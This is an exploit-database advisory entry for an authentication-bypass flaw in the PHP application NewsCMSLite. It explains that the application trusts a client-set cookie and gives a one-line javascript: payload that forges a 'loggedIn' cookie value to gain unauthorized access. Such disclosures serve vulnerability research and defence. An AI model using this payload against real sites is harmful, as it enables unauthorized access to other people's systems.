NewsCMSLite - Insecure Cookie Authentication Bypass

EDB-ID:

32760




Platform:

PHP

Date:

2009-01-24


source: https://www.securityfocus.com/bid/33467/info

NewsCMSLite is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

Attackers can exploit this vulnerability to gain unauthorized access to the affected application, which may aid in further attacks. 

javascript:document.cookie = "loggedIn=xY1zZoPQ; path=/"